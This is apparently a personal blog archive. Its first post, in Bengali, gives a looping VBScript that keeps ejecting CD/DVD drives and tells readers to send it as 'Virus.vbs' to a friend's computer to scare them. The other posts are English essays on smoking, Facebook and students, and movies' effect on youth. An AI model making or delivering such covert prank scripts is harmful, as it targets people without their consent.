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Friday 30 August 2013

আপনার বন্ধুর মনে ভয় ধরিয়ে দিন বার বার তার সিডি/ডিভিডি ড্রাইভ Eject করে !!

সবাই আশা করি ভালই আছেন। নোটপ্যাড নিয়ে আরেকটি দারুন ট্রিকস নিয়ে হাজির হলাম। রাত বেশি বেজে গেছে। তাই খুব একটা বেশি ভুমিকা লিখলাম না। কথা না বলে এখন তাহলে দেখে নিন আপনার বন্ধুর কম্পিউটারের সিডি/ডিভিডি ড্রাইভ Eject করে তার মনে যেভাবে ভয় ধরিয়ে দিবেন। তাহলে চলুন দেখে নিই কিভাবে এটা করবেন।
  • প্রথমে Start/All Programs/Accessories থেকে Notpad Open করুন।
  • তারপর নিচের এই কোডটি Paste করুন।
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
  • তারপর File এ ক্লিক করে Save as... এ ক্লিক করুন। তারপর File name দিন Virus.vbs (Virus এর জায়গায় অন্য নাম দিতে পারেন)

  • তারপর Save করে নিন।
  • কাজ শেষ। এখন আপনি আপনার বন্ধুকে এই VBS ফাইলটি মেইল করে পাঠিয়ে দিন বা অন্য যে কোন উপায়ে তার কম্পিউটারে রাখুন। ব্যাস, এরপর সে ফাইলটিতে ক্লিক করার সাথে সাথেই Automatic তার সিডি/ডিভিডি ড্রাইভ Eject হতে শুরু করবে। ফাইলটি কেটে দিলেও এ অবস্থা থেকে রক্ষা পাওয়া যাবে না! সে যদি এই বিপদ থেকে রক্ষা পাওয়ার আসল উপায় না জানে, তবে সে তো ভয়েই অস্থির হয়ে যাবে !
এবার বলি যেভাবে আবার পুনরায় আগের অবস্থায় ফিরে আসবেনঃ
  • ALT+CTRL+Delete চাপ দিয়ে আপনার Windows Task Manager টা Open করুন। তারপর উপরের Option Processes এ ক্লিক করে একদম নিচের wscript.exe তে Right Click করুন। তারপর End Process এ ক্লিক করুন।

  • তারপর আরেকবার End Process এ ক্লিক করুন।

  • শেষ। তাহলে এরপরে আর সিডি/ডিভিডি ড্রাইভ Eject হওার পুনরাবৃত্তি হবে না।

Friday 23 August 2013

Is smoking good for human health?????

 

 Rafikul Islam





                                    MOB:8820527278

                               Email:rafislam.4972@gmail.com

 The Effects of Smoking on Human Health

The effects of smoking on human health are serious and in many cases, deadly. There are approximately 4000 chemicals in cigarettes, hundreds of which are toxic. The ingredients in cigarettes affect everything from the internal functioning of organs to the efficiency of the body's immune system. The effects of cigarette smoking are destructive and widespread.

Smoking Effects on the Human Body:~

  • Toxic ingredients in cigarette smoke travel throughout the body, causing damage in several different ways.
  • Nicotine reaches the brain within 10 seconds after smoke is inhaled. It has been found in every part of the body and in breast milk.
  • Carbon monoxide binds to hemoglobin in red blood cells, preventing affected cells from carrying a full load of oxygen.
  • Cancer-causing agents (carcinogens) in tobacco smoke damage important genes that control the growth of cells, causing them to grow abnormally or to reproduce too rapidly.
  • The carcinogen benzo(a)pyrene binds to cells in the airways and major organs of smokers.
  • Smoking affects the function of the immune system and may increase the risk for respiratory and other infections.
  • There are several likely ways that cigarette smoke does its damage. One is oxidative stress that mutates DNA, promotes atherosclerosis, and leads to chronic lung injury. Oxidative stress is thought to be the general mechanism behind the aging process, contributing to the development of cancer, cardiovascular disease, and COPD.
  • The body produces antioxidants to help repair damaged cells. Smokers have lower levels of antioxidants in their blood than do nonsmokers.
  • Smoking is associated with higher levels of chronic inflammation, another damaging process that may result in oxidative stress.

Tuesday 20 August 2013

Is Facebook Good Or Bad For Student?????

 RAFIKUL ISLAM

                                       MOB:8820527278

                                       EMAIL:rafislam.4972@gmail.com 

                 Is Facebook Good Or Bad For Student?????

Does Facebook have a positive or negative effect on students? Oh, if only the issue were so clear-cut!
Most recently, OnlineEducation.net, an online database designed to inform current and prospective students about education opportunities in the U.S., compiled a mound of research data on college students and their use of social media.
On analyzing it, the group could only conclude that the results were inconclusive and mixed. Thus, the debate roils on.
Key survey findings include:
  • 96 percent of college students use Facebook;
  • Grades of students who checked Facebook while studying were 20% lower than grades of those who didn’t check Facebook while studying;
  • 79 percent of students did not believe that multitasking in the way mentioned above negatively affected their grades;
  • 20 percent of students that use social media reported feeling connected to their institution;
  • 75 percent of college students reported wanting to collaborate online.
None of this is earth-shattering. If a student in the throes of cramming for finals is distracted every few minutes by the urge to check Facebook status updates involving friends’ day-to-day dating sagas and roommate skirmishes, it only makes sense that the student will be less engaged in learning, absorb less knowledge and likely score lower on the big test.
Yet, the same results might be seen for students who get up every few minutes to grab a snack, watch TV or incessantly pick up the phone to text or call friends while studying.
However, if the student is using Facebook to propel his or her knowledge, for example, by participating in a Facebook group created by a professor for students of a particular class, than the social network may have a positive influence on education and spark the student’s interest in learning certain subject matter.
For instance, in such a space professors and students can participate in the sharing of knowledge, by posting articles (and responses to them), speaker events, lectures and personal experiences involving topics related to the course. When this happens, Facebook can be a boon to education, actively engaging students in the pursuit of knowledge. Yet, as AllFacebook recently reported, teachers are increasingly discouraged (for good reason) from accepting students’ friend requests.
An important benefit seen in the statistics above is the ability of Facebook to make college students feel socially connected, with a greater sense of community. This can be beneficial in boosting students’ self-esteem. Past studies have shown that students who are active on Facebook are more likely to participate in extra-curricular activities.
But, as we have also seen in the news, social media can also have a negative effect on emotional health when abused by cyberbullies who harass and torment peers.
Also, as AllFacebook reported, one study found that students with the most friends on Facebook feel more health-harming stress. Thus, students should be warned to not put too much stock in the social network. At the end of the day, students, as all people, of course, are more than the sum of their social network.
Ultimately, like with anything, how social media affects students may come down to how it is used and the frequency with which it is used.
Readers, do you think Facebook is good or bad for students?

What is the effect of movies on youth(Is it good or bad)?

Rafikul Islam

What is the effect of movies on youth(Is it good or bad)?

My personal opionion is that our brain is like a computor; it stores all types of data from our daily lives; our enviornment, entertainment, movies, music, education, & etc. What affect does music have on you if you listen to high volume, acid rock? Of course, it elevates your heart and you feel wild and hyber. On the other hand, if you listen to soft, light, easy listening melodies the music tends to relax you. Movies are the same as music, but more so because you're using an additional sense; your vision. Scary, satanic movies elevates your heart rate and those thoughts are in your mind. If you watch violent or X-Rated movies those images and thoughts are viewed and played in your brain; and stimulate you in various ways. Maybe in a way you're not even aware of; sexual, crude, or even hateful behavior. Have you thought about why you had that terrified nightmare.......? Although, there's excellent musicals, documentaries, or comedies that lift your spirit. Have you ever thought why there's so much violence in our society today in our schools and neighborhood.........I personally believe it's our movies, television, video games and music. I truly feel parents have an obligation to monitor all movies, television, video games and music until the child is old enough to make their own decisions. *Have you viewed any cartoons lately...........language, violence and etc? But, there's a lot of good out there too, believe me, we ALL need to make Wise Choices including myself.

 

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